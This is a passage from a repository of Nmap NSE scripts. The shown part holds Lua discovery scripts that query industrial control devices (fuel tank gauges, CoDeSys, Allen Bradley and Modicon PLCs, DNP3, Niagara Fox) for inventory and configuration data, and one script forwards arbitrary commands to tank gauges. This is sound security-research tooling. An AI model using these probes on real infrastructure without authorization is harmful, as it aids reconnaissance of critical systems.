├── README.md ├── Redpoint ├── BACnet-discover-enumerate.nse ├── LICENSE ├── README.md ├── atg-info.nse ├── codesys-v2-discover.nse ├── cspv4-info.nse ├── dnp3-info.nse ├── enip-enumerate.nse ├── fox-info.nse ├── modicon-info.nse ├── omrontcp-info.nse ├── omronudp-info.nse ├── pcworx-info.nse ├── proconos-info.nse └── s7-enumerate.nse ├── bitcoin-enum-targets.nse ├── broadcast-nmdp-discover.nse ├── cip-tags-enum.nse ├── dlink-cve-2019-13101.nse ├── google-people-enum.nse ├── gpsd-ng-info.nse ├── hidden-cobra-proxy.nse ├── http-asus-wl500-info.nse ├── http-carel-data-server-users.nse ├── http-igd-info.nse ├── http-polycom-soundpoint-info.nse ├── http-screenshot.nse ├── http-trendnet-tvip110w.nse ├── http-vivotek-camera-info.nse ├── http-vuln-cve2017-9805.nse ├── http-vuln-cve2018-10824.nse ├── http-vuln-cve2018-11776.nse ├── http-vuln-cve2018-7600.nse ├── http-vuln-cve2018-8735.nse ├── http-vuln-cve2019-1652.nse ├── iotvas.nse ├── ipmi-dump-hashes.nse ├── md5-reverse-lookup.nse ├── minecraft-auth.nse ├── nntp-options.nse ├── pcom-discover.nse ├── slammer.nse ├── smb-smbloris.nse ├── vulners.nse └── weblogic-cve-2020-14882.nse /README.md: -------------------------------------------------------------------------------- 1 | # external-nse-script-library 2 | External NSE script library 3 | -------------------------------------------------------------------------------- /Redpoint/LICENSE: -------------------------------------------------------------------------------- 1 | Same as Nmap--See http://nmap.org/book/man-legal.html -------------------------------------------------------------------------------- /Redpoint/atg-info.nse: -------------------------------------------------------------------------------- 1 | local bin = require "bin" 2 | local nmap = require "nmap" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | local string = require "string" 6 | local table = require "table" 7 | 8 | description = [[ This Script is designed to query the I20100 command on Guardian AST Automatic Tank Gauge 9 | products. This script sends a single query and parses the response. This response is the Tank Inventory 10 | of the ATG. Using --script-args command=I20200 you will be able to pull a diffrent report than the I20100. 11 | 12 | Based off of www.veeder.com/gold/download.cfm?doc_id=3668 13 | 14 | ]] 15 | 16 | --- 17 | -- @usage 18 | -- nmap --script atg-info -p 10001 19 | -- 20 | -- @args command If set to another command, It will do that command instead of I20100 21 | -- 22 | -- @output 23 | --10001/tcp open Guardian AST reset 24 | --| atg-info: 25 | --| I20100 26 | --| SEP 19, 2015 5:33 PM 27 | --| 28 | --| Fuel Company 29 | --| 12 Fake St 30 | --| Anytown, USA 12345 31 | --| 32 | --| 33 | --| IN-TANK INVENTORY 34 | --| 35 | --| TANK PRODUCT VOLUME TC VOLUME ULLAGE HEIGHT WATER TEMP 36 | --| 1 UNLEADED 5135 0 6647 42.71 0.00 72.01 37 | --| 2 UNLEADED 5135 0 6647 42.70 0.00 71.55 38 | --| 3 PREMIUM UNLEADED 5135 0 5350 19.27 0.00 72.52 39 | --|_ 40 | 41 | 42 | author = "Stephen J. Hilt" 43 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 44 | categories = {"discovery"} 45 | 46 | 47 | -- 48 | -- Function to define the portrule as per nmap standards 49 | portrule = shortport.port_or_service(10001, "atg") 50 | --- 51 | -- Function to set the nmap output for the host, if a valid ATG packet 52 | -- is received then the output will show that the port as ATG instead of 53 | -- tcpwrapped 54 | -- 55 | -- @param host Host that was passed in via nmap 56 | -- @param port port that ATG is running on (Default TCP/10001) 57 | function set_nmap(host, port) 58 | 59 | --set port Open 60 | port.state = "open" 61 | -- set version name to Guardian AST 62 | port.version.name = " Guardian AST" 63 | nmap.set_port_version(host, port) 64 | nmap.set_port_state(host, port, "open") 65 | 66 | end 67 | 68 | 69 | --- 70 | -- Action Function that is used to run the NSE. This function will send the initial query to the 71 | -- host and port that were passed in via nmap. The initial response is parsed to determine if host 72 | -- is a ATG device. If it is then more actions are taken to gather extra information. 73 | -- 74 | -- @param host Host that was scanned via nmap 75 | -- @param port port that was scanned via nmap 76 | action = function(host, port) 77 | local command = "I20100" 78 | local arguments = stdnse.get_script_args('command') 79 | if ( arguments ~= "I20100" and arguments ~= nil) then 80 | command = arguments 81 | end 82 | -- create new socket 83 | local sock = nmap.new_socket() 84 | -- set timeout low in case we don't get a response 85 | sock:set_timeout(1000) 86 | -- query to pull the tank inventory 87 | local tank_command = "\x01" .. command .. "\n" 88 | -- Connect to the remote host 89 | local constatus, conerr = sock:connect(host, port) 90 | if not constatus then 91 | stdnse.debug1( 92 | 'Error establishing a TCP connection for %s - %s', host, conerr 93 | ) 94 | return nil 95 | end 96 | -- send query to inventory the tanks 97 | local sendstatus, senderr = sock:send(tank_command) 98 | if not sendstatus then 99 | stdnse.debug1( 100 | 'Error sending ATG request to %s:%d - %s', 101 | host.ip, port.number, senderr 102 | ) 103 | return nil 104 | end 105 | -- receive the response for parseing 106 | local rcvstatus, response = sock:receive_bytes(1024) 107 | if(rcvstatus == false) then 108 | stdnse.debug1( "Receive error: %s", response) 109 | return nil 110 | end 111 | -- if the response was timeout, then we will return that we had a timeout 112 | --(for now add more addresses later) 113 | if (response == "TIMEOUT" or response == "EOF") then 114 | sock:close() 115 | return "TIMEOUT: No response from query" 116 | end 117 | -- if the first byte is 0x01, or 0x0a then likely the response is an ATG 118 | if(string.byte(response,1) == 0x01 or string.byte(response,1) == 0x0a) then 119 | local inventory_output = string.sub(response,2,-2) 120 | set_nmap(host, port) 121 | sock:close() 122 | return inventory_output 123 | end 124 | end 125 | 126 | -------------------------------------------------------------------------------- /Redpoint/codesys-v2-discover.nse: -------------------------------------------------------------------------------- 1 | local nmap = require "nmap" 2 | local comm = require "comm" 3 | local stdnse = require "stdnse" 4 | local strbuf = require "strbuf" 5 | local nsedebug = require "nsedebug" 6 | 7 | description = [[ 8 | 9 | http://digitalbond.com 10 | 11 | ]] 12 | 13 | author = "Stephen Hilt (Digital Bond)" 14 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 15 | categories = {"discovery", "safe"} 16 | 17 | --- 18 | -- Script is executed for any TCP port. 19 | portrule = function( host, port ) 20 | return port.protocol == "tcp" 21 | end 22 | 23 | --- 24 | -- Function to set the nmap output for the host, if a valid CoDeSyS packet 25 | -- is received then the output will show that the port as CoDeSyS 26 | -- 27 | -- @param host Host that was passed in via nmap 28 | -- @param port port that CoDeSyS may be running on TCP/1200 or TCP/2455 29 | function set_nmap(host, port) 30 | 31 | --set port Open 32 | port.state = "open" 33 | -- set version name to CoDeSyS 34 | port.version.name = "CoDeSyS" 35 | nmap.set_port_version(host, port) 36 | nmap.set_port_state(host, port, "open") 37 | 38 | end 39 | 40 | --- 41 | -- Remove extra whitespace from the beginning and end the string 42 | -- 43 | -- @param s string to remove extra white space 44 | 45 | function trim(s) 46 | -- remove white spaces from beginning and ending of the string 47 | return (s:gsub("^%s*(.-)%s*$", "%1")) 48 | end 49 | 50 | --- 51 | -- Action Function that is used to run the NSE. This function will send the initial query to the 52 | -- host and port that were passed in via nmap. The initial response is parsed to determine if host 53 | -- is a CoDeSys device. If it is then more actions are taken to gather extra information. 54 | -- 55 | -- @param host Host that was scanned via nmap 56 | -- @param port port that was scanned via nmap 57 | action = function( host, port ) 58 | -- little endian query 59 | lile_query = bin.pack("H", "bbbb0100000001") 60 | -- big endian query 61 | bige_query = bin.pack("H", "bbbb0100000101") 62 | -- set up table for output 63 | local output = stdnse.output_table() 64 | -- create socket 65 | local sock = nmap.new_socket() 66 | -- connect to remote host 67 | local constatus, conerr = sock:connect(host, port) 68 | -- if not successful debug error message and return nil 69 | if not constatus then 70 | stdnse.print_debug(1, 71 | 'Error establishing a TCP connection for %s - %s', host, conerr 72 | ) 73 | return nil 74 | end 75 | -- send little endian query 76 | local sendstatus, senderr = sock:send(lile_query) 77 | if not sendstatus then 78 | stdnse.print_debug(1, 79 | 'Error sending CoDeSyS request to %s:%d - %s', 80 | host.ip, port.number, senderr 81 | ) 82 | return nil 83 | end 84 | -- recieve response 85 | local rcvstatus, response = sock:receive() 86 | if(rcvstatus == false) then 87 | stdnse.print_debug(1, "Receive error: %s", response) 88 | return nil 89 | end 90 | -- if there was no response, try big endian 91 | if(response == "EOF" or response == "TIMEOUT") then 92 | -- try sending big endian query 93 | local sendstatus, senderr = sock:send(bige_query) 94 | if not sendstatus then 95 | stdnse.print_debug(1, 96 | 'Error sending CoDeSyS request to %s:%d - %s', 97 | host.ip, port.number, senderr 98 | ) 99 | return nil 100 | end 101 | -- receive response 102 | local rcvstatus, response = sock:receive() 103 | if(rcvstatus == false) then 104 | stdnse.print_debug(1, "Receive error: %s", response) 105 | return nil 106 | end 107 | end 108 | -- unpack first byte to see if it is 0xbb 109 | local pos, codesys_check = bin.unpack("C", response, 1) 110 | -- is first byte 0xbb? 111 | if (codesys_check ~= 0xbb) then 112 | sock:close() 113 | return nil 114 | end 115 | 116 | local pos, os_name = bin.unpack("z", response, 65) 117 | local pos , os_type = bin.unpack("z", response, 97) 118 | local pos, product_type = bin.unpack("z", response, 129) 119 | -- close socket 120 | sock:close() 121 | -- set nmap port 122 | set_nmap(host, port) 123 | -- set output table (for future growth of information) 124 | output["OS Name"] = os_name .. " " .. os_type 125 | output["Product Type"] = product_type 126 | -- return output table to nmap 127 | return output 128 | end 129 | -------------------------------------------------------------------------------- /Redpoint/cspv4-info.nse: -------------------------------------------------------------------------------- 1 | local bin = require "bin" 2 | local nmap = require "nmap" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | local string = require "string" 6 | local table = require "table" 7 | 8 | description = [[ 9 | This NSE script is used to send a CSPV4 packet to a remote device that has TCP 2222 open. This is a port used via CIP 10 | and used by CSPV4 on AB PLC5 systems. This will determine the Session ID of the remote device to verify it as a CSPV4 11 | compliant device. CSPV4 or AB/Ethernet is used by Allen Bradley inside of its software products such as RSLinx to 12 | communicate to the PLCs. This will help ideitify some Allen Bradley PLCs that do not communicate via Ethernet/IP. 13 | Example: PLC5, SLC 500 14 | 15 | ]] 16 | --- 17 | -- @usage 18 | -- nmap --script cspv4-info -p 2222 19 | -- 20 | -- 21 | -- @output 22 | --PORT STATE SERVICE 23 | --2222/tcp open CSPV4 24 | --| cspv4-info: 25 | --|_ Session ID: 65792 26 | 27 | author = "Stephen Hilt" 28 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 29 | categories = {"discovery", "intrusive"} 30 | 31 | -- 32 | -- Function to define the portrule as per nmap standards 33 | -- 34 | -- 35 | -- 36 | portrule = shortport.portnumber(2222, "tcp") 37 | 38 | --- 39 | -- Function to set the nmap output for the host, if a valid CSPV4 packet 40 | -- is received then the output will show that the port as CSPV4 instead of 41 | -- unknown 42 | -- 43 | -- @param host Host that was passed in via nmap 44 | -- @param port port that CSPV4 is running on (Default TCP/2222) 45 | function set_nmap(host, port) 46 | 47 | --set port Open 48 | port.state = "open" 49 | -- set version name to cspv4 50 | port.version.name = "CSPV4" 51 | nmap.set_port_version(host, port) 52 | nmap.set_port_state(host, port, "open") 53 | 54 | end 55 | --- 56 | -- Action Function that is used to run the NSE. 57 | -- 58 | -- @param host Host that was scanned via nmap 59 | -- @param port port that was scanned via nmap 60 | action = function(host,port) 61 | -- pack the inital communications to the PLC5 62 | local init_coms = bin.pack("H","01010000000000000000000000040005000000000000000000000000") 63 | -- create table for output 64 | local output = stdnse.output_table() 65 | -- create local vars for socket handling 66 | local socket, try, catch 67 | -- create new socket 68 | socket = nmap.new_socket() 69 | -- define the catch of the try statement 70 | catch = function() 71 | socket:close() 72 | end 73 | -- create new try 74 | try = nmap.new_try(catch) 75 | 76 | -- connect to port on host 77 | try(socket:connect(host, port)) 78 | -- send Req Identity packet 79 | try(socket:send(init_coms)) 80 | -- receive response 81 | local rcvstatus, response = socket:receive() 82 | if(rcvstatus == false) then 83 | return false, response 84 | end 85 | -- unpack the response first byte 86 | local pos, first_check = bin.unpack("C", response, 1) 87 | -- Validate the response is the response we expected 88 | if(first_check == 0x02) then 89 | -- store Session ID in output table 90 | pos, output["Session ID"] = bin.unpack("i", response, 5) 91 | -- set Nmap output 92 | set_nmap(host, port) 93 | -- close socket 94 | socket:close() 95 | -- return output table to Nmap 96 | return output 97 | -- If response is not what expcted then close connection and return nothing 98 | else 99 | socket:close() 100 | return nil 101 | end 102 | end 103 | -------------------------------------------------------------------------------- /Redpoint/dnp3-info.nse: -------------------------------------------------------------------------------- 1 | local bin = require "bin" 2 | local nmap = require "nmap" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | local string = require "string" 6 | local table = require "table" 7 | 8 | description = [[ 9 | 10 | This nmap NSE will send a command to query through the first 100 addresses of 11 | DNP3 to see if a valid response is given. If a valid response is given it will 12 | then parse the results based on function ID and other data. 13 | 14 | ]] 15 | 16 | --- 17 | -- @usage 18 | -- nmap --script dnp3-info -p 20000 19 | 20 | author = "Stephen J. Hilt" 21 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 22 | categories = {"discovery", "intrusive"} 23 | 24 | 25 | -- 26 | -- Function to define the portrule as per nmap standards 27 | portrule = shortport.port_or_service(20000, "dnp", "tcp") 28 | 29 | -- Datalink Function Codes PRM=0 30 | local function_id = { 31 | [0] = "ACK", 32 | [1] = "NACK", 33 | [11] = "Link Status", 34 | [15] = "User Data" 35 | } 36 | -- Data Link Function Codes PRM=1 37 | local alt_function_id = { 38 | [0] = "RESET Link", 39 | [1] = "Reset User Process", 40 | [2] = "TEST link", 41 | [3] = "User Data", 42 | [4] = "User Data", 43 | [9] = "Request Link Status" 44 | } 45 | -- lookup function codes based off the PRM (byte 2) 46 | function funct_lookup(id) 47 | local funct_id 48 | -- if the string is 4 bytes then was 0x0 49 | if (string.len(id) < 5) then 50 | -- look up function id in the table, if doesn't exist then its unknown 51 | funct_id = function_id[tonumber(id,2)] or "Unknown Function ID" 52 | id = tonumber(id,2) 53 | -- else byte was 0x?? 54 | else 55 | local first_value = string.byte(id, 2) % 0x10 56 | local second_value = tonumber(string.byte(id,5) % 0x10 .. string.byte(id,6) % 0x10 .. string.byte(id,7) %0x10 .. 57 | string.byte(id,8) % 0x10,2) 58 | if( first_value == 0) then 59 | -- look up function id in the table, if doesn't exist then its unknown 60 | funct_id = function_id[second_value] or "Unknown Function ID" 61 | else 62 | -- look up function id in the table, if doesn't exist then its unknown 63 | funct_id = alt_function_id[second_value] or "Unknown Function ID" 64 | end 65 | -- overwrite id to output what the value for if it was 0x?? 66 | id = second_value 67 | end 68 | return string.format("%s (%d)", funct_id, id) 69 | end 70 | --- 71 | -- Function to set the nmap output for the host, if a valid DNP3 packet 72 | -- is received then the output will show that the port as DNP3 instead of 73 | -- dnp 74 | -- 75 | -- @param host Host that was passed in via nmap 76 | -- @param port port that DNP3 is running on (Default TCP/20000) 77 | function set_nmap(host, port) 78 | 79 | --set port Open 80 | port.state = "open" 81 | -- set version name to DNP3 82 | port.version.name = "DNP3" 83 | nmap.set_port_version(host, port) 84 | nmap.set_port_state(host, port, "open") 85 | 86 | end 87 | 88 | 89 | --- 90 | -- Action Function that is used to run the NSE. This function will send the initial query to the 91 | -- host and port that were passed in via nmap. The initial response is parsed to determine if host 92 | -- is a DNP3 device. If it is then more actions are taken to gather extra information. 93 | -- 94 | -- @param host Host that was scanned via nmap 95 | -- @param port port that was scanned via nmap 96 | action = function(host, port) 97 | 98 | 99 | -- create new socket 100 | local sock = nmap.new_socket() 101 | -- set timeout low in case we don't get a response 102 | sock:set_timeout(1000) 103 | -- create output table 104 | local output = stdnse.output_table() 105 | -- query to pull the fist 100 address 106 | local first100 = bin.pack("H", "056405C900000000364C056405C901000000DE8E056405C" .. 107 | "9020000009F84056405C9030000007746056405C9040000" .. 108 | "001D90056405C905000000F552056405C906000000B4580" .. 109 | "56405C9070000005C9A056405C90800000019B9056405C9" .. 110 | "09000000F17B056405C90A000000B071056405C90B00000" .. 111 | "058B3056405C90C0000003265056405C90D000000DAA705" .. 112 | "6405C90E0000009BAD056405C90F000000736F056405C91" .. 113 | "000000011EB056405C911000000F929056405C912000000" .. 114 | "B823056405C91300000050E1056405C9140000003A37056" .. 115 | "405C915000000D2F5056405C91600000093FF056405C917" .. 116 | "0000007B3D056405C9180000003E1E056405C919000000D" .. 117 | "6DC056405C91A00000097D6056405C91B0000007F140564" .. 118 | "05C91C00000015C2056405C91D000000FD00056405C91E00" .. 119 | "0000BC0A056405C91F00000054C8056405C920000000014" .. 120 | "F056405C921000000E98D056405C922000000A887056405" .. 121 | "C9230000004045056405C9240000002A93056405C925000" .. 122 | "000C251056405C926000000835B056405C9270000006B99" .. 123 | "056405C9280000002EBA056405C929000000C678056405C" .. 124 | "92A0000008772056405C92B0000006FB0056405C92C0000" .. 125 | "000566056405C92D000000EDA4056405C92E000000ACAE0" .. 126 | "56405C92F000000446C056405C93000000026E8056405C9" .. 127 | "31000000CE2A056405C9320000008F20056405C93300000" .. 128 | "067E2056405C9340000000D34056405C935000000E5F605" .. 129 | "6405C936000000A4FC056405C9370000004C3E056405C93" .. 130 | "8000000091D056405C939000000E1DF056405C93A000000" .. 131 | "A0D5056405C93B0000004817056405C93C00000022C1056" .. 132 | "05C93D000000CA03056405C93E0000008B09056405C93F0" .. 133 | "0000063CB056405C940000000584A056405C941000000B0" .. 134 | "88056405C942000000F182056405C943000000194005640" .. 135 | "5C9440000007396056405C9450000009B54056405C94600" .. 136 | "0000DA5E056405C947000000329C056405C94800000077B" .. 137 | "F056405C9490000009F7D056405C94A000000DE77056405" .. 138 | "C94B00000036B5056405C94C0000005C63056405C94D000" .. 139 | "000B4A1056405C94E000000F5AB056405C94F0000001D69" .. 140 | "056405C9500000007FED056405C951000000972F056405C" .. 141 | "952000000D625056405C9530000003EE7056405C9540000" .. 142 | "005431056405C955000000BCF3056405C956000000FDF90" .. 143 | "56405C957000000153B056405C9580000005018056405C9" .. 144 | "59000000B8DA056405C95A000000F9D0056405C95B00000" .. 145 | "01112056405C95C0000007BC4056405C95D000000930605" .. 146 | "6405C95E000000D20C056405C95F0000003ACE056405C96" .. 147 | "00000006F49056405C961000000878B056405C962000000" .. 148 | "C681056405C9630000002E43056405C9640000004495") 149 | -- Connect to the remote host 150 | local constatus, conerr = sock:connect(host, port) 151 | if not constatus then 152 | stdnse.debug1( 153 | 'Error establishing a TCP connection for %s - %s', host, conerr 154 | ) 155 | return nil 156 | end 157 | -- send query for the first 100 addresses 158 | local sendstatus, senderr = sock:send(first100) 159 | if not sendstatus then 160 | stdnse.debug1( 161 | 'Error sending dnp3 request to %s:%d - %s', 162 | host.ip, port.number, senderr 163 | ) 164 | return nil 165 | end 166 | -- receive the response for parseing 167 | local rcvstatus, response = sock:receive() 168 | if(rcvstatus == false) then 169 | stdnse.debug1( "Receive error: %s", response) 170 | return nil 171 | end 172 | -- if the response was timeout, then we will return that we had a timeout 173 | --(for now add more addresses later) 174 | if (response == "TIMEOUT" or response == "EOF") then 175 | sock:close() 176 | return "TIMEOUT: No response from query" 177 | end 178 | -- unpack first two bytes 179 | local pos, byte1, byte2 = bin.unpack("CC", response, 1) 180 | -- check to see if it is 0x0564 181 | if( byte1 == 0x05 and byte2 == 0x64) then 182 | -- close socket 183 | sock:close() 184 | -- set nmap to reflect open DNP3 185 | set_nmap(host,port) 186 | -- unpack bit string for PRM checking as well as function codes 187 | local pos, ctrl = bin.unpack("B", response, 4) 188 | -- destination address 189 | local pos, dstadd = bin.unpack("S", response, 5) 190 | -- source address 191 | local pos, srceadd = bin.unpack("S", response, pos) 192 | -- set up output table with values 193 | output["Source Address"] = srceadd 194 | output["Destination Address"] = dstadd 195 | output["Control"] = funct_lookup(ctrl) 196 | -- return output 197 | return output 198 | -- if non 0x0564 response, then this is not a valid packet. 199 | else 200 | sock:close() 201 | return "ERROR: Non Valid DNP3 Packet Response\n\t" .. stdnse.tohex(response) 202 | end 203 | 204 | end 205 | 206 | 207 | 208 | -------------------------------------------------------------------------------- /Redpoint/fox-info.nse: -------------------------------------------------------------------------------- 1 | local bin = require "bin" 2 | local nmap = require "nmap" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | local string = require "string" 6 | local table = require "table" 7 | 8 | description = [[ 9 | 10 | Tridium Niagara Fox is a protocol used within Building Automation Systems. Based 11 | off Billy Rios and Terry McCorkle's work this Nmap NSE will collect information 12 | from A Tridium Niagara system. The information is collected via TCP/1911, 13 | the default Tridium Niagara Fox Port. 14 | 15 | http://digitalbond.com 16 | 17 | ]] 18 | 19 | --- 20 | -- @usage 21 | -- nmap --script fox-info.nse -p 1911 22 | -- 23 | -- @args aggressive - boolean value defines find all or just first sid 24 | -- 25 | -- @output 26 | -- 1911/tcp open Niagara Fox 27 | -- | fox-info: 28 | -- | Fox Version: 1.0.1 29 | -- | Host Name: xpvm-0omdc01xmy 30 | -- | Host Address: 192.168.1.1 31 | -- | Application Name: Workbench 32 | -- | Application Version: 3.7.44 33 | -- | VM Name: Java HotSpot(TM) Server VM 34 | -- | VM Version: 20.4-b02 35 | -- | OS Name: Windows XP 36 | -- | Time Zone: America/Chicago 37 | -- | Host ID: Win-99CB-D49D-5442-07BB 38 | -- | VM UUID: 8b530bc8-76c5-4139-a2ea-0fabd394d305 39 | -- |_ Brand ID: vykon 40 | -- 41 | -- @xmloutput 42 | --1.0.1 43 | --xpvm-0omdc01xmy 44 | --192.168.1.1 45 | --Workbench 46 | --3.7.44 47 | --Java HotSpot(TM) Server VM 48 | --20.4-b02 49 | --Windows XP 50 | --America/Chicago 51 | --Win-99CB-D49D-5442-07BB 52 | --8b530bc8-76c5-4139-a2ea-0fabd394d305 53 | --vykon 54 | 55 | author = "Stephen Hilt (Digital Bond)" 56 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 57 | categories = {"discovery", "intrusive"} 58 | 59 | 60 | -- 61 | -- Function to define the portrule as per nmap standards 62 | -- 63 | -- 64 | -- 65 | 66 | portrule = shortport.port_or_service(1911, "mtp", "tcp") 67 | 68 | -- 69 | -- Function to split a string based on a separator 70 | -- 71 | -- @param sep A separator to split the string upon 72 | function string:split(sep) 73 | local sep, fields = sep or ":", {} 74 | local pattern = string.format("([^%s]+)", sep) 75 | self:gsub(pattern, function(c) fields[#fields+1] = c end) 76 | return fields 77 | end 78 | 79 | --- 80 | -- Function to set the Nmap output for the host, if a valid Niagara Fox packet 81 | -- is received then the output will show that the port is open instead of 82 | -- open|filtered 83 | -- 84 | -- @param host Host that was passed in via nmap 85 | -- @param port port that Niagara Fox is running on (Default UDP/47808) 86 | function set_nmap(host, port) 87 | 88 | --set port Open 89 | port.state = "open" 90 | -- set version name to Niagara Fox 91 | port.version.name = "Niagara Fox" 92 | nmap.set_port_version(host, port) 93 | nmap.set_port_state(host, port, "open") 94 | 95 | end 96 | 97 | -- 98 | -- Function to term the length of a table/array 99 | -- 100 | -- @param t a table that is passed in 101 | function len(t) 102 | count = 0 103 | for k,v in pairs(t) do 104 | count = count + 1 105 | end 106 | return count 107 | end 108 | 109 | --- 110 | -- Action Function that is used to run the NSE. This function will send the 111 | -- initial query to the host and port that were passed in via nmap. The 112 | -- initial response is parsed to determine if host is a Niagara Fox device. If it 113 | -- is then more actions are taken to gather extra information. 114 | -- 115 | -- @param host Host that was scanned via nmap 116 | -- @param port port that was scanned via nmap 117 | action = function(host, port) 118 | --set the first query data for sending 119 | local orig_query = bin.pack( "H","666f7820612031202d3120666f782068656c6c6f0a7b0a" .. 120 | "666f782e76657273696f6e3d733a312e300a69643d693a310a686f73744e" .. 121 | "616d653d733a7870766d2d306f6d64633031786d790a686f737441646472" .. 122 | "6573733d733a3139322e3136382e312e3132350a6170702e6e616d653d73" .. 123 | "3a576f726b62656e63680a6170702e76657273696f6e3d733a332e372e34" .. 124 | "340a766d2e6e616d653d733a4a61766120486f7453706f7428544d292053" .. 125 | "657276657220564d0a766d2e76657273696f6e3d733a32302e342d623032" .. 126 | "0a6f732e6e616d653d733a57696e646f77732058500a6f732e7665727369" .. 127 | "6f6e3d733a352e310a6c616e673d733a656e0a74696d655a6f6e653d733a" .. 128 | "416d65726963612f4c6f735f416e67656c65733b2d32383830303030303b" .. 129 | "333630303030303b30323a30303a30302e3030302c77616c6c2c6d617263" .. 130 | "682c382c6f6e206f722061667465722c73756e6461792c756e646566696e" .. 131 | "65643b30323a30303a30302e3030302c77616c6c2c6e6f76656d6265722c" .. 132 | "312c6f6e206f722061667465722c73756e6461792c756e646566696e6564" .. 133 | "0a686f737449643d733a57696e2d393943422d443439442d353434322d30" .. 134 | "3742420a766d557569643d733a38623533306263382d373663352d343133" .. 135 | "392d613265612d3066616264333934643330350a6272616e6449643d733a" .. 136 | "76796b6f6e0a7d3b3b0a" ) 137 | -- output table that will be returned to nmap 138 | local to_return = stdnse.output_table() 139 | 140 | -- create new socket 141 | local sock = nmap.new_socket() 142 | -- connect to the remote host 143 | local constatus, conerr = sock:connect(host, port) 144 | if not constatus then 145 | stdnse.debug1( 146 | 'Error establishing a UDP connection for %s - %s', host, conerr 147 | ) 148 | return nil 149 | end 150 | -- send the original query to see if it is a valid Niagara Fox Device 151 | local sendstatus, senderr = sock:send(orig_query) 152 | if not sendstatus then 153 | stdnse.debug1( 154 | 'Error sending Niagara Fox request to %s:%d - %s', 155 | host.ip, port.number, senderr 156 | ) 157 | return nil 158 | end 159 | 160 | -- receive response 161 | local rcvstatus, response = sock:receive() 162 | if(rcvstatus == false) then 163 | stdnse.debug1( "Receive error: %s", response) 164 | return nil 165 | end 166 | -- split the response on 0x0a (NL char) 167 | local output = response:split("\x0a") 168 | -- for each value in side of the created array 169 | for keys,value in pairs(output) do 170 | -- if string contains hostName 171 | if ( string.match(value, "hostName") ) then 172 | local temp = value:split(":") 173 | to_return["Host Name"] = temp[2] 174 | -- if response contains hostAddress 175 | elseif (string.match(value, "hostAddress") ) then 176 | local temp = value:split(":") 177 | to_return["Host Address"] = temp[2] 178 | -- if response contains fox.version 179 | elseif ( string.match(value, "fox.version") ) then 180 | local temp = value:split(":") 181 | to_return["Fox Version"] = temp[2] 182 | -- if response contains app.name 183 | elseif ( string.match(value, "app.name") ) then 184 | local temp = value:split(":") 185 | to_return["Application Name"] = temp[2] 186 | -- if response contains app.version 187 | elseif ( string.match(value,"app.version") ) then 188 | local temp = value:split(":") 189 | to_return["Application Version"] = temp[2] 190 | -- if response contains vm.name 191 | elseif ( string.match(value, "vm.name") ) then 192 | local temp = value:split(":") 193 | to_return["VM Name"] = temp[2] 194 | -- if response contains vm.version 195 | elseif ( string.match(value, "vm.version") ) then 196 | local temp = value:split(":") 197 | to_return["VM Version"] = temp[2] 198 | --if response contains os.name 199 | elseif ( string.match(value,"os.name") ) then 200 | local temp = value:split(":") 201 | to_return["OS Name"] = temp[2] 202 | -- if response contains timeZone 203 | elseif (string.match(value,"timeZone") ) then 204 | local temp = value:split(":") 205 | -- split again just for the timezone name 206 | local temp2 = temp[2]:split(";") 207 | -- if response contains hostId 208 | elseif ( string.match(value,"hostId") ) then 209 | local temp = value:split(":") 210 | to_return["Host ID"] = temp[2] 211 | -- if response contains vmUuid 212 | elseif ( string.match(value,"vmUuid") ) then 213 | local temp = value:split(":") 214 | to_return["VM UUID"] = temp[2] 215 | -- if response contains brandId 216 | elseif ( string.match(value, "brandId") ) then 217 | local temp = value:split(":") 218 | to_return["Brand ID"] = temp[2] 219 | end 220 | -- if the length of the table is 0, then we didn't parse anything 221 | if( len(to_return) ~= 0 ) then 222 | -- set nmap output if we did parse information 223 | set_nmap(host,port) 224 | end 225 | end 226 | -- return output table to nmap 227 | return to_return 228 | end 229 | 230 | -------------------------------------------------------------------------------- /Redpoint/modicon-info.nse: -------------------------------------------------------------------------------- 1 | local bin = require "bin" 2 | local nmap = require "nmap" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | local string = require "string" 6 | local table = require "table" 7 | 8 | description = [[ 9 | Modicon is a brand of Programmable Logic Controller (PLC) that is put out by 10 | Schneider Electric. This NSE is designed to use Modbus to communicate to the 11 | PLC via Normal queries that are performed via engineering software. The information 12 | that is collected via Modbus is done in two separate function codes. First, Function 13 | Code 43 is utilized to pull the Vendor Name, Network Module, and the Firmware Version. 14 | Second, Schneider uses function code 90 for communications as well. Via Function Code 90 15 | it is possible to pull information such as the CPU Module, Memory Card Model, and some 16 | information about the project that is loaded into the PLC. 17 | 18 | 19 | http://digitalbond.com 20 | ]] 21 | --- 22 | -- @usage 23 | -- nmap --script modicon-info -p 502 24 | -- 25 | -- 26 | -- @output 27 | --502/tcp open Modbus 28 | --| modicon-info: 29 | --| Vendor Name: Schneider Electric 30 | --| Network Module: BMX NOE 0100 31 | --| CPU Module: BMX P34 2000 32 | --| Firmware: V2.60 33 | --| Memory Card: BMXRMS008MP 34 | --| Project Information: Project - V4.0 35 | --| Project File Name: Project.STU 36 | --| Project Revision: 0.0.9 37 | --|_ Project Last Modified: 7/11/2013 5:55:33 38 | -- @xmloutput 39 | --Schneider Electric 40 | --BMX NOE 0100 41 | --BMX P34 2000 42 | --V2.60 43 | --BMXRMS008MP 44 | --Project - V4.0 45 | --Project.STU 46 | --0.0.9 47 | --7/11/2013 5:55:33 48 | 49 | author = "Stephen Hilt (Digital Bond)" 50 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 51 | categories = {"discovery", "intrusive","digitalbond"} 52 | 53 | -- 54 | -- Function to define the portrule as per nmap standards 55 | -- 56 | -- 57 | -- 58 | portrule = shortport.portnumber(502, "tcp") 59 | 60 | --- 61 | -- Function to trim white space off the beginning and ending of a string 62 | -- 63 | -- @param s a string passed in that needs white space trimmed off 64 | function trim(s) 65 | -- remove white spaces from beginning and ending of the string 66 | return (s:gsub("^%s*(.-)%s*$", "%1")) 67 | end 68 | --- 69 | -- Function to set the nmap output for the host, if a valid Modbus packet 70 | -- is received then the output will show that the port as Modbus. 